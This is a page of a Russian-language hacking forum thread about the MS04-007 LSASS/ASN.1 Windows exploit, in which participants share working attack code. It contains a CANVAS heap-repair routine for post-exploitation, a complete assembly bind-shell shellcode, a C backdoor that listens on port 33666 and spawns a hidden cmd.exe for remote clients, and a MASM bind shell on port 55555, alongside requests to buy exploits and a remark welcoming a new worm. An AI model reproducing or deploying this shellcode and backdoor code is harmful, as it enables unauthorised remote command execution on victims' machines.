Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: Пред. 1 2 3 4 5 6 След.
RSS
MS04-007 LSASS.EXE Win2k Pro Remote Denial-of-Service Exploit
 
Цитата
r00t пишет:
karlss0n
не, это не "антикиддис", это только для защита от неэлитных сплоитописателей :)) Там integer overflow - там ТАААКОЕ с heap происходит - он сноится почти весь и перекручивается 8\\\
W2k sp4 btw eeye грит что не vuln - lsass падает, но по исключению по _чтению_ из памяти.
А если прописать шеллкод туда где помечено :), то он них не сработает, тк это всего лишь _место_для_шеллкода_, а для того чтобы он сработал еще поипаться нужно сильно с деграббером...

Какой деграббер посоветуешь?
 
Цитата
harman пишет:
Говорят есть такой сплоит шелу открывает ну толи пиз..т толи нет кто найде дайте знать.
[+] ------------------------------------------------------------ -----[+]
[+] ASN.1 Exploit V 0.5 by Mantra bind a shell on Port 9191 [+]
[+] ------------------------------------------------------------ -----[+]
[+] Note: Sometimes Server crash (DoS), then it's not W2K SP4 ger. [+]
[+] ------------------------------------------------------------ -----[+]
 
Цитата
harman пишет:
Говорят есть такой сплоит шелу открывает ну толи пиз..т толи нет кто найде дайте знать.
[+] ------------------------------------------------------------ -----[+]
[+] ASN.1 Exploit V 0.5 by Mantra bind a shell on Port 9191 [+]
[+] ------------------------------------------------------------ -----[+]
[+] Note: Sometimes Server crash (DoS), then it's not W2K SP4 ger. [+]
[+] ------------------------------------------------------------ -----[+]

plz dude email the code to blat1@hotmail.com
thanx  [IMG]http://www.securitylab.ru/forum/smileys/smiley12.gif[/IMG]
 
zorro
Мне OllyDbg нравится. Самый лучший дизасм IDA новый с встроенным деграббером тоже ничего. Жалко еще что с SoftICE (даже новый из DriverSuite) в вирт. машинах конфликт с видеодрайвером VMware SVGA(уводит виртуалку в BSOD) - лечится только установкой драйвера под VGA на 16 цветов :)
 
Цитата
Name пишет:
кто за этот эксплоит (или за какие то другие,соответственно с шелом) хочет денежку,напишите,договоримся
wrznet@yahoo.com

агалогично. если есть, у кого есть :) пишите
phoenix-@mail.ru
 
2 r00t: Вот такое бывает, и на страуху бывает...Хотя у меня один хрен этот комп для эксперементов, так что ничего страшного ;)

А приостновленный процесс не помогает при разрушенном heap? По крайней мере при побитом heap бывает возможно использовать несколько функций (например createprocess, пауза и запись в его область). Можно попробывать использовать существующий процесс, у меня все никак руки не доходят попробывать....
 
Есть методы реконструкции heap, с ними и разбираюсь, только они что-то сильно привязаны к версии  SP. Приостановленный процесс на практике не испытывал еще, плясал с stack overflow варезом ))
 
Ок, я например не стал восстанавливать HEAP (в rpc 2/3 например), а использовал CreateProcess (даже с порушенным heap его использовать можно), но писать в его область не удалось, т.к. мало места под шелл было очень (байт-хантингом чего-то нехотелось заниматься ;) , а тут вроде как побольше, можно попробывать. Я сейчас с работой разгружусь и попробую, о результатах сообщу =)

Кстати если несложно черкни мне где про реконструкцию хипов можно почитать, емыло я тебе в ПМ скину
 
а ты оказывается незарегестрирован =)

Мож прям сюда?
 
хм
445й говорите?
аутпост утверждает что у меня 445 вовсе не открыт...
то есть выходит что и просто так меня этим эксплоитом грохнуть не получится? или я опять туплю???

и ещё, если кому нить не лень - киньте пару ссылок на документацию на тому как пишутся шеллкоды, работа с кучей и подобного
ничё путёвого я всё равно не напишу, но для общего развития.... сюда или в аську 414302
спасибо
 
сюда то зачем - спам потом будешь получать тонами. а про восстановление хипа я не видел номальной инфы - роюсь в модулях CANVAS


    def fixheap(self):
        """
        Attempts to automatically fix the remote processes heap.
        """
        self.log("calling TlsSetValue(0,0)")
        self.TlsSetValue(0,0)
        self.log("PEB=0x%8.8x"%self.getPEB())
        #heap=self.FakeGetProcessHeap()
        #print "ProcessHeap=0x%8.8x"%heap
        heap2=self.GetProcessHeap()
        self.log( "ProcessHeap2=0x%8.8x"%heap2)
        #print "HeapValidate=0x%8.8x"%self.HeapValidate(heap,0,0)
        count=self.getHeapCount()
        self.log( "Number of heaps is %d"%count)
        i=0
        #while i<count:
        #tmpheap=self.getHeap(i)
        #sets self.heaps
        #print "Heap[%d]=0x%8.8x"%(i,tmpheap)
        #print "Valid: 0x%8.8x"%(self.HeapValidate(tmpheap,0,0))
        #i+=1
        #self.allheaps=self.GetProcessHeaps()
        #for ptr in self.allheaps:
        #print "heap=0x%8.8x"%ptr
        #print "Heap is valid = 0x%8.8x"%(self.HeapValidate(ptr,0,0))
        #pass

       
        self.log("Creating Heap")
        #note, calling HeapCreate may change the location the PEB stores the heaps...
        newheap=self.HeapCreate(0,50000,50000)
        #so we set self.heaps to 0, just in case anyone ever uses it again
        self.heaps=0
        self.log("Newheap=%8.8x"%newheap)
        newpebheap=self.readMemoryWord(self.getPEB()+0x90)
        self.log( "New PEB Heap is %8.8x"%(newpebheap))
        self.log("Setting %d memory words at %8.8X to newheap"%(count*2,newpebheap))
        self.setMemoryWords(newpebheap,newheap,count*2)
       
       
        starnewpebheap=self.readMemoryWord(newpebheap)
        self.log("STAR New PEB Heap is %8.8x"%(starnewpebheap))

        #A quick check to make sure we suceeded
        if starnewpebheap!=newheap:
             print "WARNING: heap overwrite did not take place!"

         (OSVersionInfoSize,MajorVersion,MinorVersion,BuildNumber,Pla tformID,CSDVersion,servicePackMajor,servicePackMinor,SuiteMa sk,ProductType)=self.GetVersionEx()
       
        if OSVersionInfoSize==None:
             self.log("Couldn't get version info! Very odd.")
             version=""
        else :     
             version=self.parseVersion(OSVersionInfoSize,Majo rVersion,MinorVersion,
                                         BuildNumber, PlatformID,
                                         CSDVersion,s ervicePackMajor,servicePackMinor,
                                         SuiteMask,Pr oductType)
             
             self.log("OS Version is %s"%(version))
       
        if msvcrtprivateheapDict.has_key(version):
             heaploc=msvcrtprivateheapDict [version]
             self.log("I do have a location for the MSCVRT private heap for that version: %x"%heaploc)
             self.setMemoryWords(heaploc,newheap,1)
        else:
             self.log("I don't have a location for that version's MSVCRT private heap. Analyzing malloc()")
             mallocloc=self.getprocaddress("msvcrt.dll","mall oc")
             if mallocloc==0:
                 self.log("Couldn't get the address of malloc!")
                 return
             self.log("Malloc is at %8.8x"%mallocloc)
             #2 past malloclock is our next address
             naddress=self.readMemoryWord(mallocloc+2)
             heaploc=naddress-0xc
             self.log("Heaplocation  is at 0x%8.8x"%heaploc)
             #replace it
             self.setMemoryWords(heaploc,newheap,1)

        #done with heap changes
       
        #test spawn to see if it worked!
        #print "Sleeping"
        #time.sleep(5)
        #print "Spawning calc"
        #self.spawn("c:\winnt\system32\calc.exe")
        return
 
Спасибо, то что нужно =)

Я про это и говорил как раз, инфу сюда, а емыло не надо, я один раз тут свой оставил, так два месяца получал просьбы и предложения от детей не старше 15 лет....

Я в инете не нашел даже намеки на восстановлеия HEAP =|
 
йопт шеллкоды пишуться по всякому, все зависет от твоей фантазии, один из способов это запуск с помощью CreateProcess cmd.exe и создания пайпов для ввода и вывода на него через сокс...

Проблема возникает при сломаном heap, его нужно либо чинить, либо создавать доннерный процесс, т.к. winsock не загрузить в сломанный heap

Можно конечно сделать по лобовому (ну например как это делал lovesun) запустить tftp, скачать с себя файлик (в котором делается шелл по описаному принципу) и запускать его на той машине, но это совсем на крайняк ;)

а вообще ещё можно добавить админовского юзера и с помощью утилит от sysinternals например заливать и запускать, то что душе угодно =)


Вот тебе шеллкод (комментарии я писал для себя, хотя вроде все понятно)

;  ============================================================­ ===============

; Segment type:     Pure code
;seg000          ; segment     byte  public 'CODE' use32
;           ;assume cs:seg000
;           ;assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
.386
assume cs:seg000

var_29C          ; = byte ptr -29Ch
var_28C          ; = byte ptr -28Ch
var_25F          ; = byte ptr -25Fh
var_254          ; = dword     ptr -254h
var_250          ; = dword     ptr -250h
var_24C          ; = dword     ptr -24Ch

seg000           segment     byte  public 'CODE' use32


beginofpackeddata:                ;  CODE XREF: UnXORFunc+17j
           push     ebp
           mov     ebp,  esp
           sub     esp,  80h
           mov     esi,  esp
           call     sub_191
           mov      [esi], eax
           push     dword  ptr [esi]
           push     0EC0E4E8Eh  &nbs p;  ; а это     у нас хитрая контрольная сумма строки...
                           ;  высчитывается     через ROR
           call     GetFunctionBYName  ; Получаем указатель LoadLibraryA
           mov      [esi+8], eax     ; и кладем его в esi+8
           push     dword  ptr [esi]
           push     0CE05D9ADh
           call     GetFunctionBYName  ; Получаем указатель func2
           mov      [esi+0Ch], eax     ; и кладем его в esi+0C

           mov      eax, fs:18h
           mov      eax, [eax+30h]
           lea     eax,  [eax+18h]
           mov      ebx, 190000h
           mov      [eax], ebx
          
           push     'll'   &nbs p;        ;  Здесь
           push     'd.23'   &n bsp;      ;  запоминаем в стек
           push     '_2sw'   &n bsp;      ;  WS2_32.DLL (очевидно LoadLibrary?)
           push     esp
           call     dword  ptr [esi+8] ; [esi+4]=LoadLibraryA("WS2_32.DLL")
           mov      [esi+4], eax     ; запоминаем в esi+4 указатель на WS2_32.dll
           push     dword  ptr [esi]
           push     16B3FE72h
           call     GetFunctionBYName  ; Получаем указатель CreateProcessA
           mov      [esi+10h], eax     ; и кладем указтель в esi+10
           push     dword  ptr [esi]
;           ;push     73E2D87Eh  &nbs p;  ; ExitProcess,
;                            ;  заменить на ExitThread 60E0CEEF
;                            ;  или Sleep db2d49b0
;           ;push     0db2d49b0h  &nb sp;  ; Sleep
;            call     GetFunctionBYName  ; Получаем указатель ExitProcess
           mov      [esi+14h], eax     ; и кладем указтель в esi+14
           push     dword  ptr [esi+4]
           push     3BFCEDCBh
           call     GetFunctionBYName  ; Получаем из     WS2_32.DLL указатель WSAStartup
           mov      [esi+18h], eax     ; и кладем указтель в esi+18
           push     dword  ptr [esi+4]
           push     0ADF509D9h
           call     GetFunctionBYName  ; Получаем из     WS2_32.DLL указатель WSASocket
           mov      [esi+1Ch], eax     ; и кладем указтель в esi+1С
           push     dword  ptr [esi+4]
           push     0C7701AA4h
           call     GetFunctionBYName  ; Получаем из     WS2_32.DLL указатель bind
           mov      [esi+20h], eax     ; и кладем указтель в esi+20
           push     dword  ptr [esi+4]
           push     0E92EADA4h
           call     GetFunctionBYName  ; Получаем из     WS2_32.DLL указатель listen
           mov      [esi+24h], eax     ; и кладем указтель в esi+24
           push     dword  ptr [esi+4]
           push     498649E5h
           call     GetFunctionBYName  ; Получаем из     WS2_32.DLL указатель accept
           mov      [esi+28h], eax     ; и кладем указтель в esi+28
           push     dword  ptr [esi+4]
           push     79C679E7h
           call     GetFunctionBYName  ; Получаем из     WS2_32.DLL указатель close_socket
           mov      [esi+2Ch], eax     ; и кладем указтель в esi+2С
           xor     edi,  edi
           sub     esp,  190h
           push     esp
           push     101h
           call     dword  ptr [esi+18h] ; int WSAStartup(
                           ;  WORD wVersionRequested,  
                           ;  LPWSADATA lpWSAData  )
           push     eax
           push     eax
           push     eax
           push     eax
           inc     eax
           push     eax
           inc     eax
           push     eax
           call     dword  ptr [esi+1Ch] ;     WSASocket(2,1,0,0,0,0)
           mov      ebx, eax
           push     edi
           push     edi
           push     5C110002h
           mov      ecx, esp
           push     16h
           push     ecx
           push     ebx
           call     dword  ptr [esi+20h] ; int bind(
                           ;    SOCKET s,                       
                           ;    const struct sockaddr FAR *name,   
                           ;    int     namelen     )
           push     edi
           push     ebx
           mov      [esi+40h],ecx;
           call     dword  ptr [esi+24h] ; int listen(
                           ;    SOCKET s,     
                           ;    int     backlog      )
loc_wait:
           push     edi
           push     ecx
           push     ebx
           call     dword  ptr [esi+28h] ; SOCKET accept(
                           ;    SOCKET s,
                           ;    struct sockaddr  FAR     *addr,   &nb sp; 
                           ;    int     FAR *addrlen  )
           mov      edx, eax
           push     'exe'   &nb sp;       ;  lpApplicationName
           push     '.dmc'   &n bsp;      ;  cmd.exe
           mov      [esi+30h], esp     ; Запоминаем в esi+30 указатель     стека
           sub     esp,  54h     ; отнимаем 54 от указателя стека
           lea     edi,  [esp+29Ch+var_29C]     ; Загружаем из стека информацию в edi
           xor     eax,  eax
           xor     ecx,  ecx
           add     ecx,  15h     ; в ecx-<15h (21) устанавливаем     счетчик

loc_133:        &nbs p;         &nbs p; ; CODE XREF: UnXORFunc+132j
           stosd
           loop     loc_133
           mov      [esp+29Ch+var_28C], 44h     ; 'D'
           inc      [esp+29Ch+var_25F]
           mov      [esp+29Ch+var_254], edx
           mov      [esp+29Ch+var_250], edx
           mov      [esp+29Ch+var_24C], edx
           lea     eax,  [esp+29Ch+var_28C]
           push     esp
           push     eax
           push     ecx
           push     ecx
           push     ecx
           push     1
           push     ecx
           push     ecx
           push     dword  ptr [esi+30h]
           push     ecx
           call     dword  ptr [esi+10h] ; CreateProcessA
           mov      ecx, esp
           push     0FFFFFFFFh
           push     dword  ptr [ecx]
           call     dword  ptr [esi+0Ch]
           mov      ecx, eax
           push     edi
           call     dword  ptr [esi+2Ch] ; closesocket
           xor      edi,edi
           mov           ecx,[esi+40]
           jmp      loc_wait


; XXXXXXXXXXXXXXX S U B     R O U T     I N E XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


GetFunctionBYName proc  near         &n bsp;; CODE XREF: UnXORFunc+31p
                           ;  UnXORFunc+40p ...

arg_0         & nbsp;= dword     ptr  14h
arg_4         & nbsp;= dword     ptr  18h

           push     ebx
           push     ebp
           push     esi
           push     edi
           mov     ebp,  [esp+arg_4]
           mov      eax, [ebp+3Ch]
           mov      edx, [ebp+eax+78h]
           add     edx,  ebp
           mov      ecx, [edx+18h]
           mov      ebx, [edx+20h]
           add     ebx,  ebp

loc_1B2:        &nbs p;         &nbs p; ; CODE XREF: GetFunctionBYName+36j
           jecxz     short  loc_1E6
           dec     ecx
           mov     esi,  [ebx+ecx*4]
           add     esi,  ebp
           xor     edi,  edi
           cld

loc_1BD:        &nbs p;         &nbs p; ; CODE XREF: GetFunctionBYName+30j
           xor     eax,  eax
           lodsb
           cmp     al,  ah
           jz     short  loc_1CB
           ror     edi,  0Dh
           add     edi,  eax
           jmp     short loc_1BD
;  ------------------------------------------------------------ ---------------

loc_1CB:        &nbs p;         &nbs p; ; CODE XREF: GetFunctionBYName+29j
           cmp     edi,  [esp+arg_0]
           jnz     short  loc_1B2
           mov      ebx, [edx+24h]
           add     ebx,  ebp
           mov      cx, [ebx+ecx*2]
           mov      ebx, [edx+1Ch]
           add     ebx,  ebp
           mov      eax, [ebx+ecx*4]
           add     eax,  ebp
           jmp     short loc_1E8
;  ------------------------------------------------------------ ---------------

loc_1E6:        &nbs p;         &nbs p; ; CODE XREF: GetFunctionBYName+19j
           xor     eax,  eax

loc_1E8:        &nbs p;         &nbs p; ; CODE XREF: GetFunctionBYName+4Bj
           mov      edx, ebp
           pop     edi
           pop     esi
           pop     ebp
           pop     ebx
           retn     4
GetFunctionBYName endp

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B     R O U T     I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ


sub_191          ; proc  near         &n bsp;; CODE XREF: sub_76+Bp
           push     ebp
           push     esi
           mov      eax, fs:30h
           test     eax,  eax
           js     short  loc_1A9
           mov      eax, [eax+0Ch]
           mov     esi,  [eax+1Ch]
           lodsd
           mov     ebp,  [eax+8]
           jmp     short loc_1B2
;  ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД­ ДДДДДДДДДДДДДДД

loc_1A9:        &nbs p;         &nbs p; ; CODE XREF: sub_191+Aj
           mov      eax, [eax+34h]
           mov     ebp,  [eax+0B8h]

loc_1B2:        &nbs p;         &nbs p; ; CODE XREF: sub_191+16j
           mov      eax, ebp
           pop     esi
           pop     ebp
           retn     4
sub_191 endp
;  ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД­ ДДДДДДДДДДДДДДД

seg000           ends

end
 
А код примера на С можешь дать? хочу СМД забиндить, а не получалось..Пока сделал, что посылаешь команду, а оно на той стороне делает CreateProcess("имя команды");
а хотелось бы бинд cmd.exe :(
 
// Это не мой код, я его где-то в инете выкопал
// правда я кое-чего там менял, чтобы он заработал
// сейчас он работает точно, причем слушает постоянно ,
// можно коннектиться по несколько раз

#include "Winsock2.h"
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <string.h>
#pragma hdrstop



#define bzero(a) memset(a,0,sizeof(a)) //для сокращения писанины



bool IsWinNT()  //проверка запуска под NT
{
 OSVERSIONINFO osv;
 osv.dwOSVersionInfoSize = sizeof(osv);
 GetVersionEx(&osv);
 return (osv.dwPlatformId == VER_PLATFORM_WIN32_NT);
}



void ErrorMessage(char *str)  //вывод подробной информации об ошибке
{

 LPVOID msg;

 FormatMessage(
    FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
    NULL,
    GetLastError(),
    MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // язык по умолчанию
    (LPTSTR) &msg,
    0,
    NULL
 );

 printf("%s: %s\n",str,msg);
 LocalFree(msg);

}


bool check_connection(int to,SOCKET conn_socket)
{
     timeval to1 = {to,0};
     fd_set fr= {1,conn_socket};
     if(!select(0,&fr,&fr,&fr,&to1) ) return false;
     else return true;
}

//---------------------------------------------------------- ------------
void StartCMD(SOCKET msgsock)
{
 char buf[10000] ;           ; //буфер ввода/вывода
//  buf=new char[10000];

 STARTUPINFO si;
 SECURITY_ATTRIBUTES sa;
 SECURITY_DESCRIPTOR sd;        //структура security для пайпов
 PROCESS_INFORMATION pi;

 HANDLE newstdin,newstdout,read_stdout,write_stdin;  //дескрипторы
                                                           // пайпов


 if (IsWinNT())        //инициализация security для Windows NT
 {
    InitializeSecurityDescriptor(&sd,SEC URITY_DESCRIPTOR_REVISION);
    SetSecurityDescriptorDacl(&sd, true, NULL, false);
    sa.lpSecurityDescriptor = &sd;
 }

 else sa.lpSecurityDescriptor = NULL;

 sa.nLength = sizeof(SECURITY_ATTRIBUTES);
 sa.bInheritHandle = true;       //разрешаем наследование дескрипторов


 if  (!CreatePipe(&newstdin,&write_stdin,&sa,0))    ;//создаем пайп
                                                        // для stdin
 {
    ErrorMessage("CreatePipe");
//    getch();
    return;
 }

 if (!CreatePipe(&read_stdout,&newstdout,&sa,0)) //создаем пайп
                                                       // для stdout
 {
    ErrorMessage("CreatePipe");
    //getch();
    CloseHandle(newstdin);
    CloseHandle(write_stdin);
    return;
 }



  GetStartupInfo(&si);      //со здаем startupinfo для
                              //  дочернего процесса

 /*

 Параметр dwFlags сообщает функции CreateProcess
 как именно надо создать процесс.

 STARTF_USESTDHANDLES управляет полями hStd*.
 STARTF_USESHOWWINDOW управляет полем wShowWindow.

 */

 si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
 si.wShowWindow = SW_HIDE;
 si.hStdOutput = newstdout;
 si.hStdError = newstdout;   //подменяем дескрипторы для
 si.hStdInput = newstdin;    // дочернего процесса

//  char app_spawn[] = "f:\\windows\\system32\\cmd.exe"; //это просто
                                                          // пример,
                                                          //замените на то,
                                                          // что вам нужно



 //создаем дочерний процесс

 if  (!CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CON SOLE,
                       NULL,NULL,&si,&pi))
 {
    ErrorMessage("CreateProcess");
    //getch();
    CloseHandle(newstdin);
    CloseHandle(newstdout);
    CloseHandle(read_stdout);
    CloseHandle(write_stdin);
    return;
 }



 unsigned long exit=0;  //код завершения процесса
 unsigned long bread;   //кол-во прочитанных байт
 unsigned long avail;   //кол-во доступных байт



 bzero(buf);
 for(;;)      //основной цикл программы
 {
    GetExitCodeProcess(pi.hProcess,&exit ); //пока дочерний процесс
                                               // не закрыт
    if (exit != STILL_ACTIVE)
      break;

    PeekNamedPipe(read_stdout,buf,10000, &bread,&avail,NULL);

    //Проверяем, есть ли данные для чтения в stdout

    if (bread != 0)
    {
      bzero(buf);
      if (avail > 10000)
      {
        while (bread >= 10000)
        {
           ReadFile(read_stdout,buf,10000,&bread,NULL);   //читаем из
                                                             // пайпа stdout
           //printf("%s",buf);
            send(msgsock,buf,bread,0);
           bzero(buf);
        }
      }

      else {
        ReadFile(read_stdout,buf,10000,&bread,NULL);
              send(msgsock,buf,bread,0);
        //printf("%s",buf);
      }
    }

/*    if (kbhit())      //проверяем, введено ли что-нибудь с клавиатуры
    {
      bzero(buf);
      *buf = (char)getche();

      //printf("%c",*buf);

      WriteFile(write_stdin,bu f,1,&bread,NULL); //отправляем это
                                                   //  в stdin

      if (*buf == '\r') {
        *buf = '\n';
        printf("%c",*buf);
        WriteFile(write_stdin,buf,1,&bread,NULL); //формирум конец
                                                       //строки, если нужно

      }
    }*/
 
     timeval to = {0,0};
     fd_set fr= {1,msgsock};
     if(select(0,&fr,0,0,&to))
     {
           bread=recv(msgsock,buf,10000,0);
           WriteFile(write_stdin,buf,bread,&bread,NULL);
     }
     if(!check_connection(2,msgsock )) break;
     Sleep(100);

 }
//     printf("close\n");
 CloseHandle(pi.hThread);
 CloseHandle(pi.hProcess);
  CloseHandle(newstdin);      &n bsp;     //небольшая  уборка за собой
 CloseHandle(newstdout);
 CloseHandle(read_stdout);
 CloseHandle(write_stdin);
//  delete buf;
}
SOCKET msgsock;

DWORD WINAPI ThreadProc(
 LPVOID lpParameter   // thread data
)
{
     SOCKET msgsock1=msgsock;
     StartCMD(msgsock1);
     closesocket(msgsock1);
     return 0;
}

void main()
{

     WSADATA wsaData;
     WSADATA wsaDataServ;
     SOCKET listen_socket;
     struct sockaddr_in local,adr;

     WSAStartup(0x202,&wsaDataServ) ;
     local.sin_family = AF_INET;
     local.sin_addr.s_addr = INADDR_ANY;
     local.sin_port = htons(33666);
     listen_socket = socket(AF_INET, 1,0); // TCP socke
     bind(listen_socket,(struct sockaddr*)&local,sizeof(local));
     if(listen(listen_socket,0)==SO CKET_ERROR) return;
     while(1)
     {
           int len=sizeof(adr);
           msgsock=accept(listen_socket,(struct  sockaddr*)&adr,&len);
           CreateThread(0,0,&ThreadProc,0,0,0);
     }


}
 
karlss0n
Ну мона было и не декомпилить идой ;)
Это универсальный и достаточно стабильный  биндшеллкод, к-рый в исходниках есть - на www.metasploit.com. Он еще в первом rpc был ))
 
какой попался под руку, такой и запостил =)
 
вот отличный bindshell

.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc
include \masm32\include\wsock32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\wsock32.lib

WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
StartShell PROTO

.DATA
ddPort dd 55555
szCmd db "cmd.exe",0

.DATA?

ddReadPipeHandle dd ?
ddShellStdoutPipe dd ?
ddShellStdinPipe dd ?
ddWritePipeHandle dd ?

ddForWrite dd ?
ddByteRead dd ?
ddMem01 dd ?
ddMem02 dd ?

ddClient dd ?
ddSock dd ?

sin sockaddr_in <?>
sui STARTUPINFO <?>
pi PROCESS_INFORMATION <?>
time_out timeval <?>
fds fd_set <?>
sat SECURITY_ATTRIBUTES <?>

.CODE

Start:

invoke htons, ddPort

mov sin.sin_port, ax
mov sin.sin_family, AF_INET
mov sin.sin_addr, INADDR_ANY

sub esp, 1000h
invoke WSAStartup, 101h, esp
add esp, 1000h

invoke socket, AF_INET, SOCK_STREAM, 00h
mov dword ptr [ddSock], eax
invoke bind, ddSock, ADDR sin, SIZEOF sin
invoke listen, ddSock, 10h


__AcceptConn:
xor eax, eax
invoke accept, ddSock, eax, eax
mov dword ptr [ddClient], eax
jmp __StartShell
jmp __AcceptConn


__StartShell:
mov sat.nLength, SIZEOF SECURITY_ATTRIBUTES
mov sat.lpSecurityDescriptor, 00h
mov sat.bInheritHandle, 01h

invoke CreatePipe, ADDR ddReadPipeHandle, ADDR ddShellStdoutPipe, ADDR sat, 00h
test eax, eax
jz __ErrPipe

invoke CreatePipe, ADDR ddShellStdinPipe, ADDR ddWritePipeHandle, ADDR sat, 00h
test eax, eax
jz __ErrPipe

invoke StartShell

invoke CloseHandle, ddShellStdoutPipe
invoke CloseHandle, ddShellStdinPipe

invoke GlobalAlloc, GMEM_ZEROINIT, 2048
mov dword ptr [ddMem01], eax

invoke GlobalAlloc, GMEM_ZEROINIT, 2200
mov dword ptr [ddMem02], eax


__MainLoop:
invoke PeekNamedPipe, ddReadPipeHandle, ddMem01, 2048, ADDR ddByteRead, 00h, 00h
test eax, eax
jz __ShellEnd

cmp dword ptr [ddByteRead], 00h
jz __CheckUserInput

invoke ReadFile, ddReadPipeHandle, ddMem01, 2048, ADDR ddByteRead, 00h
test eax, eax
jz __ShellEnd

mov ecx, dword ptr [ddByteRead]
xor ebx, ebx
xor edx, edx

mov esi, dword ptr [ddMem01]
mov edi, dword ptr [ddMem02]


__CopyData:
lodsb
cmp al, 0ah
jnz __Next

cmp bl, 0dh
jz __Next

mov byte ptr [edi], 0dh
inc edi
inc edx

__Next:
stosb
mov bl, al
inc edx
dec ecx
jnz __CopyData

; ----------------

invoke send, ddClient, ddMem02, edx, 00h
test eax, eax
jz __ShellEnd

__CheckUserInput:
xor eax, eax
mov time_out.tv_sec, eax
mov time_out.tv_usec, 500


mov dword ptr [fds.fd_count], 01h
push ddClient
pop fds.fd_array

invoke select, eax, ADDR fds, eax, eax, ADDR time_out
test eax, eax
jz __ShellSleep

inc eax
jz __ShellEnd

invoke recv, ddClient, ddMem01, 2048, 00h
test eax, eax
jz __ShellEnd

mov edx, eax

dec eax
jnz __NotOne

mov esi, dword ptr [ddMem01]
lodsb

cmp al, 0Dh
jnz __NotOne

mov byte ptr [esi], 0ah
inc edx

__NotOne:
xchg eax, edx

; ----------------

invoke WriteFile, ddWritePipeHandle, ddMem01, eax, ADDR ddForWrite, 00h
test eax, eax
jz __ShellEnd


__ShellSleep:
invoke Sleep, 50
jmp __MainLoop

__ShellEnd:
invoke GlobalFree, ddMem02
invoke GlobalFree, ddMem01

__ErrPipe:
invoke TerminateProcess, pi.hProcess, 00h
invoke CloseHandle, pi.hProcess

invoke closesocket, ddClient
invoke closesocket, ddSock
invoke WSACleanup


__Exit:
invoke ExitProcess, 00h


StartShell PROC
xor eax, eax
mov sui.cb, SIZEOF sui
mov sui.lpReserved, eax
mov sui.lpDesktop, eax
mov sui.lpTitle, eax
mov sui.dwX, eax
mov sui.dwY, eax
mov sui.dwXSize, eax
mov sui.dwYSize, eax
mov sui.wShowWindow, SW_HIDE
mov sui.lpReserved2, eax
mov sui.cbReserved2, ax
mov sui.dwFlags, STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW
push ddShellStdinPipe
pop sui.hStdInput
push ddShellStdoutPipe
pop sui.hStdOutput
push ddShellStdoutPipe
pop sui.hStdError

invoke CreateProcess, eax, ADDR szCmd, eax, eax, 01h, eax, eax, eax, ADDR sui, ADDR pi
invoke CloseHandle, pi.hThread

ret

StartShell ENDP

End Start


токо вот не как не могу прицепить CommandLine, чтоб на свои команды реагировал  [IMG]http://www.securitylab.ru/forum/smileys/smiley1.gif[/IMG]
 
От такого шелла толку мало, т.к. в эксплоитах к сожалению не exe файлы запускаются ;)
 
Всё путём, пробовал на ХР, 2к, 2003...а ведь сканало...ждём бласта нумер 3.
Страницы: Пред. 1 2 3 4 5 6 След.
Читают тему